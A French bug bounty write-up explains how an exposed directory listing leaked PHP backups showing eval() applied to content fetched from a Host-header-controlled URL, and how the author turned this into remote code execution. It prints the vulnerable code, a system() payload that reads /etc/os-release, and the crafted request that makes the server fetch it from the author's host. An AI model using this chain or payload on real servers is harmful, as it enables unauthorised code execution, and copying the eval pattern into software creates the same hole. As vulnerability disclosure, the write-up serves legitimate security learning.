Directory Listing to RCE

Table of Contents

Directory Listing to RCE (?!)

Bonjour bonjour :)

Voici un petit Write-Up sur une vulnérabilité que j’ai découvert dernièrement en Bug Bounty, j’espère que ca vous plaira !

Starting from the bottom

Je suis arrivé sur un site qui ne payait pas de mine et, après avoir fouillé de manière passive (suivi de liens, fouille des fichiers JS, …)
Je n’ai rien trouvé de bien interessant.

J’ai alors décidé d’utiliser un de mes outils préférés: FFUF :)

en mettant la wordlist one4all_micro, je n’ai pas trouvé grand chose excepté un dossier php.

En voulant regarder ce dossier, je m’attendais à tomber sur une 403 mais, au final, j’ai découvert que le Directory Listing etait appliqué dessus…

Source code ?

Seulement 6 fichiers etaient présent dont 2 originaux (le reste etant des copies .php.old et .php.old_jul). En regardant de plus près, un des fichiers à retenu mon attention, celui-ci s’appelais gen.php et, etait appelé directement (l’autre n’etant rempli que de fonctions). En voulant acceder au fichier, celui-ci me ressortais une erreur 500.

En regardant le fichier gen.php.old_jul, il y avais, entre autre, ce bout de code PHP:


if(getenv("REQUEST_METHOD") == "GET")
{
    if($_SERVER["HTTPS"] == "on" ) $protocol = "https";
    else $protocol = "http";

    $arrcont = file($protocol."://".getenv("HTTP_HOST")."/".$_GET["name"]."/dir/file?id=".$_GET["id"]);

    foreach($arrcont as $arr)
     {
        if(substr($arr,1,11) == "chartvalues") eval($arr);
     }

    $chartvalues = setScaling($chartvalues);
    if($LOGGER=="ON")
     {
      tLogger($LOGFILENAME,"------ REQUEST --------\n");
      tLogger($LOGFILENAME,"TIME=".date("d-m-Y H:i:s")."\nSID=".$_GET["id"]."\n");
      tLogger($LOGFILENAME,"------ CHARTVALUES ------\n");
      foreach($chartvalues as $chartname => $chartvalue) tLogger($LOGFILENAME,$chartname."=".$chartvalue."\n");
     }

    if($chartvalues["yMax"] == "0") MakeEmptyImage($chartvalues);
    //else
    //if($chartvalues["yMin"] == "0") MakeEmptyImage($chartvalues);
    if($chartvalues["type"] == "linechart") MakeLinePointChart($chartvalues);
    else
    if($chartvalues["type"] == "barchart") MakeBarChart($chartvalues);
    else MakeEmptyImage($chartvalues);

}


Ce qui va nous interesser ici, c’est la première partie:


if($_SERVER["HTTPS"] == "on" ) $protocol = "https";
else $protocol = "http";

$arrcont = file($protocol."://".getenv("HTTP_HOST")."/".$_GET["name"]."/dir/file?id=".$_GET["id"]);

foreach($arrcont as $arr)
{
	if(substr($arr,1,11) == "chartvalues") eval($arr);
}


Comme on peux le voir, il y a plusieurs choses qui ne vont pas dans le cas présent:

  • L’utilisation de getenv(“HTTP_HOST”) sur un file().
  • Le $_GET["wsname"]
  • Et, bien evidemment, cet eval() si le texte chartvalues est présent en début de chaine.

De la, on sait déjà qu’il est possible d’influer sur le file(). Cependant, comme je l’ai dis plus tôt, il n’y avais rien d’interessant sur le site (et donc, pas de possibilité d’upload quelque fichier que ce soit :( ) Heureusement, l’utilisation de getenv("HTTP_HOST") et, le fait que le site ne verifie pas le header Host, il est possible de faire une Server-Side Request Forgery (SSRF).

The exploitation

J’ai donc commencé par modifier le header Host en mettant un collaborator et, j’ai bien eu une requête HTTP sur celui-ci \o/

à partir de la, j’ai créé un nouveau fichier sur mon serveur contenant ceci afin de confirmer qu’il etait possible d’exploiter le eval(): "chartvalues";system("echo 'RCE :)\n';cat /etc/os-release");

Voici comment j’ai crafté ma requête:

GET /gen.php?wsname=exploitrce.txt%3f HTTP/1.1
Host: kuromatae.tld
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

à ma grande surprise, ca n’a pas fonctionné… Je n’ai même pas recu de requête sur mon serveur. J’ai donc cherché à comprendre pourquoi puis, j’ai fini par découvrir que seules les IPs AWS etaient whitelist !

J’ai donc mis en place un EC2 rapidement avec un certificat let’s encrypt et, en reessayant, ca a fonctionné :)

The End

Voilà, à partir de rien, on peux faire une Remote Code Execution sur un site qui parait totalement vide au départ !


Thanks for reading !
~ Kuromatae